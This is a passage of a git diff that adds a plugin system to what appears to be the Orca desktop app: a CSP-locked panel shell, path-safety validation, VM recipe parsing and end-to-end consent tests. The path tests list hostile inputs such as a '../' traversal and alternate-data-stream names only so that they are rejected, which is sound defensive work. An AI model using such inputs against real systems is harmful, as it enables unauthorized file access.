+    expect(html.indexOf("window.addEventListener('submit'")).toBeLessThan(pluginOffset)
+    expect(html.indexOf("Object.defineProperty(window, 'open'")).toBeLessThan(pluginOffset)
+  })
+
+  it('cancels anchor and form default navigation in the fallback path', () => {
+    const html = buildPluginPanelShellHtml('<main>Plugin</main>')
+    const script = html.match(/<script>\n([\s\S]*?)<\/script>/)?.[1]
+    expect(script).toBeTruthy()
+    // Keep happy-dom's global removable for Vitest teardown; production shell
+    // keeps the override non-configurable inside the disposable iframe.
+    window.eval(script!.replace('configurable: false', 'configurable: true'))
+
+    const anchor = document.createElement('a')
+    anchor.href = 'https://example.com/'
+    document.body.appendChild(anchor)
+    const clickAccepted = anchor.dispatchEvent(
+      new MouseEvent('click', { bubbles: true, cancelable: true })
+    )
+    const form = document.createElement('form')
+    document.body.appendChild(form)
+    const submitAccepted = form.dispatchEvent(
+      new Event('submit', { bubbles: true, cancelable: true })
+    )
+
+    expect(clickAccepted).toBe(false)
+    expect(submitAccepted).toBe(false)
+    expect(window.open('https://example.com/')).toBeNull()
+  })
+})
diff --git a/src/shared/plugins/plugin-panel-shell.ts b/src/shared/plugins/plugin-panel-shell.ts
new file mode 100644
index 000000000..f37b08958
--- /dev/null
+++ b/src/shared/plugins/plugin-panel-shell.ts
@@ -0,0 +1,101 @@
+import { PANEL_PING_TYPE, PANEL_PONG_TYPE } from './plugin-panel-bridge'
+
+/**
+ * Host-generated shell wrapped around plugin panel HTML before it is handed
+ * to the sandboxed iframe. The shell's job is to make the CSP parse BEFORE
+ * any plugin content does: an opaque-origin sandboxed iframe without a CSP
+ * can still fetch() CORS-permissive endpoints and beacon data out via <img>.
+ *
+ * Prepending works because (a) a CSP <meta> applies from the moment it
+ * parses and cannot be un-applied by later markup or DOM removal, and (b) a
+ * second CSP meta from the plugin can only intersect (tighten), never loosen.
+ * The plugin document merges into the shell's open <head>/<html>, so design
+ * tokens defined here are visible to plugin CSS as ordinary custom
+ * properties.
+ *
+ * Electron-free string builder: desktop main and headless serve both wrap
+ * panel HTML through this one function.
+ */
+
+export const PLUGIN_PANEL_CSP =
+  "default-src 'none'; connect-src 'none'; script-src 'unsafe-inline'; " +
+  "style-src 'unsafe-inline'; img-src data:; font-src data:; base-uri 'none'; form-action 'none'"
+
+/** Renderer-substituted placeholders. Main cannot know the renderer's theme
+ *  or token values; the renderer replaces these with a color-scheme class and
+ *  CSS custom-property declarations before mounting the srcdoc. */
+export const PANEL_SHELL_TOKENS_PLACEHOLDER = '/*__ORCA_PANEL_TOKENS__*/'
+export const PANEL_SHELL_COLOR_SCHEME_PLACEHOLDER = '__ORCA_COLOR_SCHEME__'
+
+/** Curated design-token subset injected into panel documents. Deliberately
+ *  NOT all of main.css (~257 custom properties): freezing every token as
+ *  public API would lock future refactors. Grow additively; renaming or
+ *  dropping an entry here is a plugin-facing breaking change. */
+export const PANEL_DESIGN_TOKEN_ALLOWLIST = [
+  '--background',
+  '--foreground',
+  '--card',
+  '--card-foreground',
+  '--popover',
+  '--popover-foreground',
+  '--primary',
+  '--primary-foreground',
+  '--secondary',
+  '--secondary-foreground',
+  '--muted',
+  '--muted-foreground',
+  '--accent',
+  '--accent-foreground',
+  '--destructive',
+  '--destructive-foreground',
+  '--border',
+  '--input',
+  '--ring',
+  '--radius'
+] as const
+
+export function buildPluginPanelShellHtml(pluginHtml: string): string {
+  // The inline ping responder proves the frame's event loop is alive; the
+  // renderer watchdog demotes the panel when pongs stop arriving.
+  const prelude =
+    '<!doctype html>\n' +
+    `<html class="${PANEL_SHELL_COLOR_SCHEME_PLACEHOLDER}">\n` +
+    '<head>\n' +
+    '<meta charset="utf-8">\n' +
+    `<meta http-equiv="Content-Security-Policy" content="${PLUGIN_PANEL_CSP}">\n` +
+    `<style>:root{${PANEL_SHELL_TOKENS_PLACEHOLDER}}</style>\n` +
+    '<script>\n' +
+    "'use strict'\n" +
+    '// Host policy: plugin panels are documents, never browsing contexts.\n' +
+    "if (window.navigation && typeof window.navigation.addEventListener === 'function') {\n" +
+    "  window.navigation.addEventListener('navigate', function (event) {\n" +
+    '    if (event.cancelable) event.preventDefault()\n' +
+    '  })\n' +
+    '}\n' +
+    "try { Object.defineProperty(window, 'open', { value: function () { return null }, writable: false, configurable: false }) }\n" +
+    'catch (_) { try { window.open = function () { return null } } catch (_) {} }\n' +
+    "window.addEventListener('click', function (event) {\n" +
+    '  var node = event.target\n' +
+    '  while (node && node !== document) {\n' +
+    "    if (node.nodeType === 1 && node.tagName === 'A' && node.hasAttribute('href')) {\n" +
+    '      event.preventDefault()\n' +
+    '      event.stopImmediatePropagation()\n' +
+    '      return\n' +
+    '    }\n' +
+    '    node = node.parentNode\n' +
+    '  }\n' +
+    '}, true)\n' +
+    "window.addEventListener('submit', function (event) {\n" +
+    '  event.preventDefault()\n' +
+    '  event.stopImmediatePropagation()\n' +
+    '}, true)\n' +
+    "window.addEventListener('message', function (event) {\n" +
+    '  var data = event.data\n' +
+    `  if (event.source === window.parent && data && data.type === '${PANEL_PING_TYPE}') {\n` +
+    `    window.parent.postMessage({ type: '${PANEL_PONG_TYPE}', pingId: data.pingId }, '*')\n` +
+    '  }\n' +
+    '})\n' +
+    '</script>\n' +
+    '</head>\n'
+  return prelude + pluginHtml
+}
diff --git a/src/shared/plugins/plugin-path-safety.test.ts b/src/shared/plugins/plugin-path-safety.test.ts
new file mode 100644
index 000000000..14250d18e
--- /dev/null
+++ b/src/shared/plugins/plugin-path-safety.test.ts
@@ -0,0 +1,48 @@
+import { describe, expect, it } from 'vitest'
+import { parsePluginManifest } from './plugin-manifest'
+import { isSafePluginRelativePath } from './plugin-path-safety'
+
+describe('plugin path portability', () => {
+  it.each([
+    'CON',
+    'assets/aux.txt',
+    'dist/panel.html.',
+    'dist/panel.html ',
+    'dist/panel.html:payload',
+    'dist\\LPT1.js',
+    '../worker.js',
+    'dist//panel.html'
+  ])('rejects %s on every host platform', (path) => {
+    expect(isSafePluginRelativePath(path)).toBe(false)
+  })
+
+  it.each(['dist/panel.html', 'assets/.icon.svg', 'nested\\worker.js'])('accepts %s', (path) => {
+    expect(isSafePluginRelativePath(path)).toBe(true)
+  })
+
+  it('applies portable path validation to every declared artifact kind', () => {
+    const base = {
+      manifestVersion: 1,
+      id: 'demo',
+      publisher: 'orca-samples',
+      name: 'Demo',
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      contributes: { panels: [], commands: [], events: [] },
+      capabilities: []
+    }
+
+    expect(parsePluginManifest({ ...base, icon: 'assets/NUL.svg' }).ok).toBe(false)
+    expect(parsePluginManifest({ ...base, main: 'dist/worker.js.' }).ok).toBe(false)
+    expect(
+      parsePluginManifest({
+        ...base,
+        contributes: {
+          ...base.contributes,
+          panels: [{ id: 'panel', title: 'Panel', entry: 'dist/panel.html:ads' }]
+        }
+      }).ok
+    ).toBe(false)
+  })
+})
diff --git a/src/shared/plugins/plugin-path-safety.ts b/src/shared/plugins/plugin-path-safety.ts
new file mode 100644
index 000000000..5dc8b7985
--- /dev/null
+++ b/src/shared/plugins/plugin-path-safety.ts
@@ -0,0 +1,42 @@
+/** Windows normalizes these names even when the host doing validation does not. */
+const WINDOWS_DEVICE_NAME_RE =
+  /^(?:con|prn|aux|nul|clock\$|conin\$|conout\$|com[1-9¹²³]|lpt[1-9¹²³])(?:\..*)?$/i
+
+const WINDOWS_FORBIDDEN_CHAR_RE = /[<>:"|?*]/
+
+export function pluginPathSegmentError(segment: string): string | null {
+  if (segment.length === 0 || segment === '.' || segment === '..') {
+    return 'empty and dot path segments are not allowed'
+  }
+  if (segment.endsWith('.') || segment.endsWith(' ')) {
+    return 'path segments may not end with a dot or space'
+  }
+  if (
+    WINDOWS_FORBIDDEN_CHAR_RE.test(segment) ||
+    [...segment].some((character) => character.charCodeAt(0) <= 31)
+  ) {
+    return 'path segment contains a Windows-forbidden character or alternate-data-stream colon'
+  }
+  if (WINDOWS_DEVICE_NAME_RE.test(segment)) {
+    return 'path segment is a Windows reserved device name'
+  }
+  return null
+}
+
+export function pluginRelativePathError(value: string): string | null {
+  if (value.length === 0 || value.startsWith('/') || value.startsWith('\\')) {
+    return 'must be a non-empty relative path'
+  }
+  const segments = value.split(/[\\/]/)
+  for (const segment of segments) {
+    const error = pluginPathSegmentError(segment)
+    if (error) {
+      return error
+    }
+  }
+  return null
+}
+
+export function isSafePluginRelativePath(value: string): boolean {
+  return pluginRelativePathError(value) === null
+}
diff --git a/src/shared/plugins/plugin-vm-recipe-artifact.test.ts b/src/shared/plugins/plugin-vm-recipe-artifact.test.ts
new file mode 100644
index 000000000..89ad197a7
--- /dev/null
+++ b/src/shared/plugins/plugin-vm-recipe-artifact.test.ts
@@ -0,0 +1,79 @@
+import { describe, expect, it } from 'vitest'
+import {
+  listPluginVmRecipeCommands,
+  parsePluginVmRecipeArtifact
+} from './plugin-vm-recipe-artifact'
+
+describe('plugin VM recipe artifacts', () => {
+  it('parses bounded lifecycle commands for verbatim consent', () => {
+    const recipe = parsePluginVmRecipeArtifact(
+      JSON.stringify({
+        schemaVersion: 1,
+        id: 'cloud-sandbox',
+        name: 'Cloud Sandbox',
+        create: './scripts/create.sh',
+        suspend: './scripts/suspend.sh',
+        resume: './scripts/resume.sh',
+        destroy: './scripts/destroy.sh'
+      })
+    )
+
+    expect(recipe).toMatchObject({ id: 'cloud-sandbox', name: 'Cloud Sandbox' })
+    expect(listPluginVmRecipeCommands(recipe)).toEqual([
+      { phase: 'create', command: './scripts/create.sh' },
+      { phase: 'suspend', command: './scripts/suspend.sh' },
+      { phase: 'resume', command: './scripts/resume.sh' },
+      { phase: 'destroy', command: './scripts/destroy.sh' }
+    ])
+  })
+
+  it('requires paired suspend/resume commands and rejects unknown fields', () => {
+    expect(() =>
+      parsePluginVmRecipeArtifact(
+        JSON.stringify({
+          schemaVersion: 1,
+          id: 'broken',
+          name: 'Broken',
+          create: 'create',
+          suspend: 'suspend'
+        })
+      )
+    ).toThrow('suspend and resume')
+    expect(() =>
+      parsePluginVmRecipeArtifact(
+        JSON.stringify({
+          schemaVersion: 1,
+          id: 'broken',
+          name: 'Broken',
+          create: 'create',
+          environment: { SECRET: 'value' }
+        })
+      )
+    ).toThrow()
+  })
+
+  it('represents an explicitly disabled destroy action without executing text', () => {
+    const recipe = parsePluginVmRecipeArtifact(
+      JSON.stringify({
+        schemaVersion: 1,
+        id: 'managed',
+        name: 'Managed',
+        create: 'create',
+        destroy: 'none'
+      })
+    )
+
+    expect(recipe).toMatchObject({ destroyDisabled: true })
+    expect(recipe.destroy).toBeUndefined()
+  })
+
+  it('rejects NUL bytes and commands beyond the bounded artifact contract', () => {
+    for (const create of ['bad\0command', 'x'.repeat(32 * 1024 + 1)]) {
+      expect(() =>
+        parsePluginVmRecipeArtifact(
+          JSON.stringify({ schemaVersion: 1, id: 'bounded', name: 'Bounded', create })
+        )
+      ).toThrow()
+    }
+  })
+})
diff --git a/src/shared/plugins/plugin-vm-recipe-artifact.ts b/src/shared/plugins/plugin-vm-recipe-artifact.ts
new file mode 100644
index 000000000..8d1441ba7
--- /dev/null
+++ b/src/shared/plugins/plugin-vm-recipe-artifact.ts
@@ -0,0 +1,65 @@
+import { z } from 'zod'
+import { ORCA_VM_RECIPE_ID_PATTERN, ORCA_VM_RECIPE_ID_RULE } from '../orca-yaml'
+import type { OrcaVmRecipe } from '../types'
+
+const recipeCommandSchema = z
+  .string()
+  .trim()
+  .min(1)
+  .max(32 * 1024)
+  .refine((value) => !value.includes('\0'), 'must not contain NUL bytes')
+
+const pluginVmRecipeArtifactSchema = z
+  .object({
+    schemaVersion: z.literal(1),
+    id: z.string().regex(ORCA_VM_RECIPE_ID_PATTERN, ORCA_VM_RECIPE_ID_RULE),
+    name: z.string().trim().min(1).max(128),
+    description: z.string().trim().min(1).max(1024).optional(),
+    create: recipeCommandSchema,
+    suspend: recipeCommandSchema.optional(),
+    resume: recipeCommandSchema.optional(),
+    destroy: z.union([recipeCommandSchema, z.literal('none')]).optional()
+  })
+  .strict()
+  .superRefine((recipe, ctx) => {
+    if (Boolean(recipe.suspend) !== Boolean(recipe.resume)) {
+      ctx.addIssue({
+        code: 'custom',
+        path: recipe.suspend ? ['resume'] : ['suspend'],
+        message: 'suspend and resume must be declared together'
+      })
+    }
+  })
+
+export type PluginVmRecipeCommand = {
+  phase: 'create' | 'suspend' | 'resume' | 'destroy'
+  command: string
+}
+
+export function parsePluginVmRecipeArtifact(raw: string): OrcaVmRecipe {
+  const parsed = pluginVmRecipeArtifactSchema.parse(JSON.parse(raw))
+  const destroyDisabled = parsed.destroy === 'none'
+  return {
+    id: parsed.id,
+    name: parsed.name,
+    create: parsed.create,
+    ...(parsed.description ? { description: parsed.description } : {}),
+    ...(parsed.suspend ? { suspend: parsed.suspend } : {}),
+    ...(parsed.resume ? { resume: parsed.resume } : {}),
+    ...(parsed.destroy && !destroyDisabled ? { destroy: parsed.destroy } : {}),
+    ...(destroyDisabled ? { destroyDisabled: true } : {})
+  }
+}
+
+export function listPluginVmRecipeCommands(recipe: OrcaVmRecipe): PluginVmRecipeCommand[] {
+  return [
+    { phase: 'create', command: recipe.create },
+    ...(recipe.suspend ? [{ phase: 'suspend' as const, command: recipe.suspend }] : []),
+    ...(recipe.resume ? [{ phase: 'resume' as const, command: recipe.resume }] : []),
+    ...(recipe.destroy
+      ? [{ phase: 'destroy' as const, command: recipe.destroy }]
+      : recipe.destroyDisabled
+        ? [{ phase: 'destroy' as const, command: 'none' }]
+        : [])
+  ]
+}
diff --git a/src/shared/terminal-custom-themes.ts b/src/shared/terminal-custom-themes.ts
index 58b2e2033..df6b15f57 100644
--- a/src/shared/terminal-custom-themes.ts
+++ b/src/shared/terminal-custom-themes.ts
@@ -45,7 +45,7 @@ export type WarpThemeImportPreview = {
 export const MAX_TERMINAL_CUSTOM_THEMES = 200
 export const CUSTOM_TERMINAL_THEME_PREFIX = 'custom:'
 
-const TERMINAL_COLOR_KEYS = [
+export const TERMINAL_COLOR_KEYS = [
   'foreground',
   'background',
   'cursor',
diff --git a/src/shared/types.ts b/src/shared/types.ts
index 6f2b1c1d5..2983cbf32 100644
--- a/src/shared/types.ts
+++ b/src/shared/types.ts
@@ -2844,6 +2844,19 @@ export type GlobalSettings = {
   defaultTuiAgent: TuiAgent | 'blank' | null
   /** Agents hidden from picker/auto-launch; detection stays a raw PATH snapshot. */
   disabledTuiAgents: TuiAgent[]
+  /** Master switch for the experimental plugin system. Off by default: no
+   *  discovery, no panels, no plugin code paths run at all. */
+  pluginSystemEnabled: boolean
+  /** Qualified plugin keys (`publisher.id`) the user disabled. Discovered
+   *  plugins stay listed but are not activated. */
+  disabledPlugins: string[]
+  /** Consent records: qualified plugin key → capability/worker-trust fingerprint.
+   *  A plugin whose current fingerprint differs is pending again, so an update
+   *  crossing either trust boundary re-prompts before code runs. Absent key =
+   *  never consented. */
+  pluginConsents: Record<string, string>
+  /** Local directories loaded as dev-mode plugins (manifest hot-reload). */
+  devPluginPaths: string[]
   /** One-shot guard: start Claude Agent Teams hidden for existing profiles without overriding later opt-ins. */
   claudeAgentTeamsDefaultDisabledMigrated?: boolean
   /** Why: worktree deletion is destructive (rm -rf of the working dir), so confirm by default. */
@@ -3205,6 +3218,9 @@ export type RightSidebarTab =
   | 'source-control'
   | 'checks'
   | 'ports'
+  // Plugin-contributed panels are keyed `plugin:<pluginId>/<panelId>` so the
+  // static union stays closed while plugin tabs remain type-representable.
+  | `plugin:${string}`
 export type ActiveRightSidebarTab = Exclude<RightSidebarTab, 'search'>
 export type RightSidebarExplorerView = 'files' | 'search'
 
diff --git a/src/shared/ui-language.ts b/src/shared/ui-language.ts
index 9a2f7a4a0..77002e81f 100644
--- a/src/shared/ui-language.ts
+++ b/src/shared/ui-language.ts
@@ -5,7 +5,7 @@ export const UI_LANGUAGE_KOREAN = 'ko'
 export const UI_LANGUAGE_JAPANESE = 'ja'
 export const UI_LANGUAGE_SPANISH = 'es'
 
-export type UiLanguage =
+export type BuiltInUiLanguage =
   | typeof UI_LANGUAGE_SYSTEM
   | typeof UI_LANGUAGE_ENGLISH
   | typeof UI_LANGUAGE_CHINESE
@@ -13,7 +13,10 @@ export type UiLanguage =
   | typeof UI_LANGUAGE_JAPANESE
   | typeof UI_LANGUAGE_SPANISH
 
-const UI_LANGUAGE_VALUES = new Set<UiLanguage>([
+export type PluginUiLanguage = `plugin:${string}`
+export type UiLanguage = BuiltInUiLanguage | PluginUiLanguage
+
+const UI_LANGUAGE_VALUES = new Set<BuiltInUiLanguage>([
   UI_LANGUAGE_SYSTEM,
   UI_LANGUAGE_ENGLISH,
   UI_LANGUAGE_CHINESE,
@@ -22,6 +25,18 @@ const UI_LANGUAGE_VALUES = new Set<UiLanguage>([
   UI_LANGUAGE_SPANISH
 ])
 
-export function normalizeUiLanguage(value: unknown): UiLanguage {
-  return UI_LANGUAGE_VALUES.has(value as UiLanguage) ? (value as UiLanguage) : UI_LANGUAGE_SYSTEM
+const PLUGIN_UI_LANGUAGE_RE =
+  /^plugin:[a-z0-9]+(?:-[a-z0-9]+)*\.[a-z0-9]+(?:-[a-z0-9]+)*\/[a-z]{2,3}(?:-[a-z0-9]{2,8})*$/i
+
+export function isPluginUiLanguage(value: unknown): value is PluginUiLanguage {
+  return typeof value === 'string' && PLUGIN_UI_LANGUAGE_RE.test(value)
+}
+
+export function normalizeUiLanguage(value: unknown): UiLanguage {
+  if (isPluginUiLanguage(value)) {
+    return value
+  }
+  return UI_LANGUAGE_VALUES.has(value as BuiltInUiLanguage)
+    ? (value as BuiltInUiLanguage)
+    : UI_LANGUAGE_SYSTEM
 }
diff --git a/src/shared/ui-locale.test.ts b/src/shared/ui-locale.test.ts
index 90ac28ab7..272506e26 100644
--- a/src/shared/ui-locale.test.ts
+++ b/src/shared/ui-locale.test.ts
@@ -64,6 +64,12 @@ describe('ui-locale', () => {
     expect(resolveUiLocale(UI_LANGUAGE_SPANISH, 'en-US')).toBe('es')
   })
 
+  it('preserves a selected plugin language bundle id', () => {
+    expect(resolveUiLocale('plugin:orca-samples.portuguese/pt-BR')).toBe(
+      'plugin:orca-samples.portuguese/pt-BR'
+    )
+  })
+
   it('maps system locale to the closest supported locale', () => {
     expect(resolveUiLocale(UI_LANGUAGE_SYSTEM, 'en-GB')).toBe('en')
     expect(resolveUiLocale(UI_LANGUAGE_SYSTEM, 'zh-CN')).toBe('zh')
diff --git a/src/shared/ui-locale.ts b/src/shared/ui-locale.ts
index 4435ef14e..bc84491b7 100644
--- a/src/shared/ui-locale.ts
+++ b/src/shared/ui-locale.ts
@@ -5,6 +5,7 @@ import {
   UI_LANGUAGE_KOREAN,
   UI_LANGUAGE_SPANISH,
   UI_LANGUAGE_SYSTEM,
+  isPluginUiLanguage,
   type UiLanguage
 } from './ui-language'
 
@@ -34,7 +35,10 @@ export function normalizeSupportedUiLocale(locale: string | undefined): Supporte
 export function resolveUiLocale(
   language: UiLanguage,
   systemLocale: string | undefined = DEFAULT_UI_LOCALE
-): SupportedUiLocale {
+): string {
+  if (isPluginUiLanguage(language)) {
+    return language
+  }
   if (language === UI_LANGUAGE_ENGLISH) {
     return DEFAULT_UI_LOCALE
   }
@@ -60,7 +64,7 @@ export function getRendererSystemLocale(): string {
   return DEFAULT_UI_LOCALE
 }
 
-export function resolveRendererUiLocale(language: UiLanguage): SupportedUiLocale {
+export function resolveRendererUiLocale(language: UiLanguage): string {
   return resolveUiLocale(
     language,
     language === UI_LANGUAGE_SYSTEM ? getRendererSystemLocale() : DEFAULT_UI_LOCALE
diff --git a/tests/e2e/helpers/orca-restart.ts b/tests/e2e/helpers/orca-restart.ts
index 4b0083ffb..a503508cd 100644
--- a/tests/e2e/helpers/orca-restart.ts
+++ b/tests/e2e/helpers/orca-restart.ts
@@ -159,8 +159,8 @@ export function createRestartSession(
         ORCA_E2E_RUNTIME_WS_PORT: String(runtimeWsPort)
       }
     })
-    // Why: attach before firstWindow — the main-process daemon guard can emit
-    // its decision line during startup, before the renderer window is ready.
+    // Why: attach before firstWindow — the main-process daemon guard and the
+    // plugin-system startup metrics can both emit before the renderer is ready.
     if (options?.onStderr) {
       const onStderr = options.onStderr
       app.process().stderr?.on('data', (chunk: Buffer) => onStderr(chunk.toString()))
diff --git a/tests/e2e/plugin-demo.spec.ts b/tests/e2e/plugin-demo.spec.ts
new file mode 100644
index 000000000..860e1aac1
--- /dev/null
+++ b/tests/e2e/plugin-demo.spec.ts
@@ -0,0 +1,180 @@
+/**
+ * Invariant: the documented hello-orca plugin stays inert before visible
+ * consent, then its panel, worker command, and event subscription all work.
+ */
+
+import { cp, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import type { Page } from '@stablyai/playwright-test'
+import { expect, test } from './helpers/orca-app'
+
+async function openPluginSettings(page: Page): Promise<void> {
+  await page.evaluate(() => {
+    const state = window.__store?.getState()
+    if (!state) {
+      throw new Error('store unavailable')
+    }
+    state.openSettingsTarget({ pane: 'plugins', repoId: null })
+    state.openSettingsPage()
+  })
+  await expect(page.locator('[data-settings-section="plugins"]')).toBeVisible()
+}
+
+async function openDemoPanel(page: Page): Promise<void> {
+  await page.evaluate(() => {
+    const state = window.__store?.getState()
+    if (!state) {
+      throw new Error('store unavailable')
+    }
+    state.closeSettingsPage()
+    if (!state.rightSidebarOpen) {
+      state.toggleRightSidebar()
+    }
+  })
+  const panelButton = page.getByRole('button', { name: 'Hello Orca', exact: true })
+  await expect(panelButton).toBeVisible({ timeout: 15_000 })
+  await panelButton.click()
+  const frame = page.frameLocator('iframe[title="Hello Orca"]')
+  await expect(frame.getByRole('heading', { name: 'Hello Orca 👋' })).toBeVisible()
+  await expect(frame.locator('meta[http-equiv="Content-Security-Policy"]')).toHaveAttribute(
+    'content',
+    /default-src 'none'/
+  )
+}
+
+async function createWorktree(page: Page, name: string): Promise<string> {
+  await page.waitForFunction(
+    () => {
+      const state = window.__store?.getState()
+      return Boolean(state && Object.values(state.worktreesByRepo).flat().length > 0)
+    },
+    undefined,
+    { timeout: 15_000 }
+  )
+  return page.evaluate(async (worktreeName) => {
+    const state = window.__store?.getState()
+    if (!state) {
+      throw new Error('store unavailable')
+    }
+    const worktrees = Object.values(state.worktreesByRepo).flat()
+    const active =
+      worktrees.find((worktree) => worktree.id === state.activeWorktreeId) ?? worktrees[0]
+    if (!active) {
+      throw new Error('active worktree was not found')
+    }
+    const result = await state.createWorktree(active.repoId, worktreeName)
+    return result.worktree.id
+  }, name)
+}
+
+test('runs hello-orca panel, command, and event behind visible consent', async ({ orcaPage }) => {
+  const tempRoot = await mkdtemp(join(tmpdir(), 'orca-hello-plugin-e2e-'))
+  const pluginRoot = join(tempRoot, 'hello-orca')
+  let createdWorktreeId: string | null = null
+  await cp(join(process.cwd(), 'examples', 'plugins', 'hello-orca'), pluginRoot, {
+    recursive: true
+  })
+
+  try {
+    const installed = await orcaPage.evaluate(async (sourcePath) => {
+      const settings = await window.api.settings.set({ pluginSystemEnabled: true })
+      window.__store?.setState({ settings })
+      const result = await window.api.plugins.install({ kind: 'local-path', path: sourcePath })
+      if (!result.ok) {
+        throw new Error(result.error)
+      }
+      const pending = (await window.api.plugins.refresh()).find(
+        (entry) => entry.pluginKey === result.pluginKey
+      )
+      if (!pending) {
+        throw new Error('installed plugin was not listed')
+      }
+      let blocked = false
+      try {
+        await window.api.plugins.invokeCommand({
+          pluginKey: result.pluginKey,
+          commandId: 'hello-ping',
+          args: { source: 'before-consent' }
+        })
+      } catch {
+        blocked = true
+      }
+      return { pluginKey: result.pluginKey, status: pending.status, blocked }
+    }, pluginRoot)
+
+    expect(installed.status).toBe('pending')
+    expect(installed.blocked).toBe(true)
+
+    await openPluginSettings(orcaPage)
+    const row = orcaPage.locator(`[data-plugin-key="${installed.pluginKey}"]`)
+    await expect(row).toContainText('Needs review')
+    await row.getByRole('button', { name: 'Review permissions' }).click()
+    const consent = orcaPage.getByRole('dialog', { name: 'Review permissions' })
+    await expect(consent).toBeVisible()
+    await expect(consent).toContainText(pluginRoot)
+    await expect(consent).toContainText('full access to your files, network, and other processes')
+    await expect(consent.getByRole('button', { name: 'Keep Disabled' })).toBeFocused()
+    await consent.getByRole('button', { name: 'Enable plugin' }).click()
+    await expect(consent).toBeHidden()
+    await expect(row).toContainText('Enabled')
+
+    const commandResults = await orcaPage.evaluate(async (pluginKey) => {
+      const first = await window.api.plugins.invokeCommand({
+        pluginKey,
+        commandId: 'hello-ping',
+        args: { source: 'e2e' }
+      })
+      const second = await window.api.plugins.invokeCommand({
+        pluginKey,
+        commandId: 'hello-ping',
+        args: { source: 'e2e' }
+      })
+      return { first, second }
+    }, installed.pluginKey)
+    expect(commandResults.first).toEqual({ pong: true, count: 1, args: { source: 'e2e' } })
+    expect(commandResults.second).toEqual({ pong: true, count: 2, args: { source: 'e2e' } })
+
+    await orcaPage.evaluate(async (sourcePath) => {
+      const settings = await window.api.settings.set({ devPluginPaths: [sourcePath] })
+      window.__store?.setState({ settings })
+      await window.api.plugins.refresh()
+    }, pluginRoot)
+
+    await openDemoPanel(orcaPage)
+
+    const panelPath = join(pluginRoot, 'panel.html')
+    const panelHtml = await readFile(panelPath, 'utf8')
+    await writeFile(panelPath, panelHtml.replace('Hello Orca 👋', 'Hello Orca reloaded'))
+    await expect(
+      orcaPage.frameLocator('iframe[title="Hello Orca"]').getByRole('heading', {
+        name: 'Hello Orca reloaded'
+      })
+    ).toBeVisible({ timeout: 15_000 })
+
+    createdWorktreeId = await createWorktree(orcaPage, `plugin-event-${Date.now()}`)
+    await expect
+      .poll(
+        () =>
+          orcaPage.evaluate(
+            async ({ pluginKey, worktreeId }) =>
+              (await window.api.plugins.getLogs({ pluginKey })).some(
+                (entry) =>
+                  entry.line.includes('worktree created:') && entry.line.includes(worktreeId)
+              ),
+            { pluginKey: installed.pluginKey, worktreeId: createdWorktreeId! }
+          ),
+        { timeout: 15_000 }
+      )
+      .toBe(true)
+  } finally {
+    if (createdWorktreeId) {
+      await orcaPage
+        .evaluate(async (worktreeId) => {
+          await window.__store?.getState().removeWorktree(worktreeId, true)
+        }, createdWorktreeId)
+        .catch(() => undefined)
+    }
+    await rm(tempRoot, { recursive: true, force: true })
+  }
+})
diff --git a/tests/e2e/plugin-marketplace-content.spec.ts b/tests/e2e/plugin-marketplace-content.spec.ts
new file mode 100644
index 000000000..7f59b0d43
--- /dev/null
+++ b/tests/e2e/plugin-marketplace-content.spec.ts
@@ -0,0 +1,285 @@
+/**
+ * Invariant: a fresh profile discovers the managed official marketplace and
+ * completes the Phase 1 language, VM-recipe, and keybinding journey through
+ * production Git paths.
+ */
+
+import { execFile } from 'node:child_process'
+import { cp, mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join, sep } from 'node:path'
+import { pathToFileURL } from 'node:url'
+import { promisify } from 'node:util'
+import type { Page, TestInfo } from '@stablyai/playwright-test'
+import { expect, test } from '@stablyai/playwright-test'
+import { createRestartSession } from './helpers/orca-restart'
+
+const execFileAsync = promisify(execFile)
+
+type MarketplaceFixture = {
+  root: string
+  home: string
+  gitEnvironment: NodeJS.ProcessEnv
+}
+
+function isolatedGitProcessEnv(gitEnvironment: NodeJS.ProcessEnv): NodeJS.ProcessEnv {
+  return {
+    ...Object.fromEntries(Object.entries(process.env).filter(([key]) => !key.startsWith('GIT_'))),
+    ...gitEnvironment
+  }
+}
+
+async function runGit(
+  cwd: string,
+  args: string[],
+  gitEnvironment: NodeJS.ProcessEnv
+): Promise<void> {
+  await execFileAsync('git', args, { cwd, env: isolatedGitProcessEnv(gitEnvironment) })
+}
+
+async function commitRepository(
+  repository: string,
+  gitEnvironment: NodeJS.ProcessEnv
+): Promise<void> {
+  await runGit(repository, ['init', '--quiet'], gitEnvironment)
+  await runGit(repository, ['checkout', '--quiet', '-b', 'main'], gitEnvironment)
+  await runGit(repository, ['add', '--all'], gitEnvironment)
+  await runGit(
+    repository,
+    [
+      '-c',
+      'user.name=Orca Test',
+      '-c',
+      'user.email=orca-test@example.invalid',
+      'commit',
+      '--quiet',
+      '-m',
+      'fixture'
+    ],
+    gitEnvironment
+  )
+  await runGit(repository, ['tag', 'v1.0.0'], gitEnvironment)
+}
+
+async function copyLaunchPlugin(
+  repositories: string,
+  repositoryName: string,
+  launchDirectory: string,
+  gitEnvironment: NodeJS.ProcessEnv
+): Promise<void> {
+  const repository = join(repositories, `${repositoryName}.git`)
+  await cp(join(process.cwd(), 'resources', 'plugins', 'launch', launchDirectory), repository, {
+    recursive: true
+  })
+  await commitRepository(repository, gitEnvironment)
+}
+
+async function configureFixtureGit(home: string, repositories: string): Promise<NodeJS.ProcessEnv> {
+  const hooksDirectory = join(home, 'hooks')
+  const xdgConfigHome = join(home, 'xdg')
+  const configPath = join(home, '.gitconfig')
+  await Promise.all([
+    mkdir(hooksDirectory, { recursive: true }),
+    mkdir(xdgConfigHome, { recursive: true })
+  ])
+  const gitEnvironment: NodeJS.ProcessEnv = {
+    HOME: home,
+    USERPROFILE: home,
+    XDG_CONFIG_HOME: xdgConfigHome,
+    GIT_CONFIG_NOSYSTEM: '1',
+    GIT_TERMINAL_PROMPT: '0'
+  }
+  const repositoryBaseUrl = pathToFileURL(`${repositories}${sep}`).href
+  const entries = [
+    [`url.${repositoryBaseUrl}.insteadOf`, 'https://github.com/stablyai/'],
+    ['protocol.file.allow', 'always'],
+    ['commit.gpgSign', 'false'],
+    ['tag.gpgSign', 'false'],
+    ['core.hooksPath', hooksDirectory]
+  ] as const
+  for (const [key, value] of entries) {
+    await runGit(home, ['config', '--file', configPath, key, value], gitEnvironment)
+  }
